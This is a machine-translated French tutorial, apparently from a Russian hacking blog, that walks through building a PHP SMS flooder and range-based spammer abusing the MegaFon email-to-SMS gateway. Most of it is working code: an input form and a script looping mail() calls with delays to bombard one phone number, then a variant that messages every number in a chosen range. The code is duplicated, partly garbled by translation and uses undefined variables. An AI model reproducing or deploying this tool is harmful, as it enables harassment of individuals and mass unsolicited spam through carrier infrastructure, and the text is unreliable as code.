This page has been robot translated, sorry for typos if any. Original content here.

Écrire Sms Flooder ou Spammer (mail2sms)

mail2sms
Ayant trouvé des liens qui ne fonctionnaient pas ou des scripts qui ne fonctionnaient pas, j’ai décidé de lancer le flot. La victime était le russe MEGAFON , prenons-le comme exemple.

Flud

Voyons d’abord quelles inondations. À mon sens, une inondation est un programme ou un script qui envoie des informations à un destinataire donné dans une certaine quantité (souvent dans une très grande quantité).

Et alors, de quoi avons-nous besoin pour écrire une telle inondation? Presque rien:
  • hébergement avec support PHP
  • cerveau + bras tendus
  • capacité à utiliser Google
Pour les inondations, nous utiliserons la passerelle SMS de cet opérateur.
La passerelle SMS est une interface qui vous permet d'envoyer et de recevoir des SMS sans utiliser de téléphone portable. Les messages SMS sont convertis en courriels, en requêtes HTTP et inversement. Un message envoyé via une passerelle similaire peut être libre pour l'expéditeur; Cependant, des limitations techniques sont possibles, telles que la limitation du nombre de messages envoyés par un ordinateur par jour.

Comme il ressort clairement de ce qui précède, les programmeurs avancés n’apprendront rien de nouveau pour eux-mêmes.
Donc, vous avez choisi l'hébergement, avec tous triés ...
Créez une page index.php avec le contenu suivant:
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
Comme il ressort clairement du code, ce sera une page avec un formulaire à envoyer, faisant référence à notre script, qui s'appellera sms.php:
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
Nous commençons à démonter le code.
Au début du script, nous affectons des variables.
$ from - n'importe quelle boîte aux lettres d'où proviendront les messages.
$ to - le destinataire, c’est-à-dire celui sur lequel nous sommes en train de subir une inondation. La valeur de la variable provient du formulaire index.php et est coordonnée avec @ sms.mgsm.ru. Qu'est-ce que c'est @ sms.mgsm.ru? Cette passerelle d'opérateur SMS MEGFON.
$ msg - variable contenant le texte à envoyer.
Vient ensuite le cycle, dont la tâche consiste à envoyer le nombre requis de messages avec une pause de veille.
La fonction mail est simplement responsable du transfert du courrier vers la passerelle.

Parlons maintenant de la fonction de sommeil . Pourquoi est-ce nécessaire?
Si nous ne le saisissons pas, le serveur ne réagira pas au nombre de SMS requis et ne les enverra pas plus de 1 à 2 pièces. Ceci afin que le serveur ait le temps de réagir et ait besoin de cette fonction. Le nombre de secondes de retard est écrit entre parenthèses. Ce chiffre est sélectionné par la méthode de tri des différentes variantes. Sa valeur peut dépendre de la charge de travail de la passerelle et de la vitesse de votre Internet. Alors voici l'expérience. Le script a été vérifié avec le paramètre 7 .

Nous vérifions le script. Accédez à notre formulaire, entrez les données requises et appuyez sur le bouton ...
Maintenant, il convient de considérer que le script n'est pas exécuté immédiatement , mais progressivement, en attendant votre pause après l'envoi de chaque message.

SPAM

Qu'est-ce que le spam? Je comprends le spam comme l'envoi d'informations à des personnes différentes à des fins différentes. Ce qu'il faut pour organiser le spam
  • tout ce qui est listé pour flooder
Il faut modifier un peu la forme. Je ne donnerai qu'un fragment:
  < form action = "sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Диапозон номеров:<br />
ОТ <input name=\"diapstart\" /> ДО <input name=\"diapfinish\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
Et un petit code modifié sms.php :

<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
Je pense que tout est clair. Nous nous déplaçons dans une plage de nombres prédéterminée et leur envoyons un SMS à un intervalle spécifié. Avec cette méthode:
[+] fonctionne sans base. sur les économies de visage et de la circulation
[+] Contrairement à la base, vous accédez également aux débutants du réseau, qui ne figurent pas encore dans les bases de données (payantes et gratuites).
[-] tous les SMS envoyés n'atteindront pas la raison pour laquelle ces numéros pourraient ne pas l'être. Mais il est possible de sélectionner des plages telles que la probabilité maximale de livraison de SMS soit.

Que dire en conclusion ...
Ce matériel n'appelle pas pour votre action et est à titre informatif seulement. Je suis l'auteur de l'article, et avec copier-coller le lien ici est obligatoire.
Avec un peu de volonté et des compétences appropriées, le script est transformé en spammeur ou s'adapte à tout autre opérateur, avec une passerelle SMS en bon fonctionnement. Pour les paresseux - une grande liste de passerelles . Mais ceci peut être le prochain article.

PS Flooder a récemment vérifié. Tout fonctionne très bien. Si cela ne fonctionne pas, il y a plusieurs options. One - mains tordues. La seconde est que votre hébergement ne contient pas la fonction mail. La troisième est que l'opérateur a changé la passerelle ou que la passerelle est surchargée.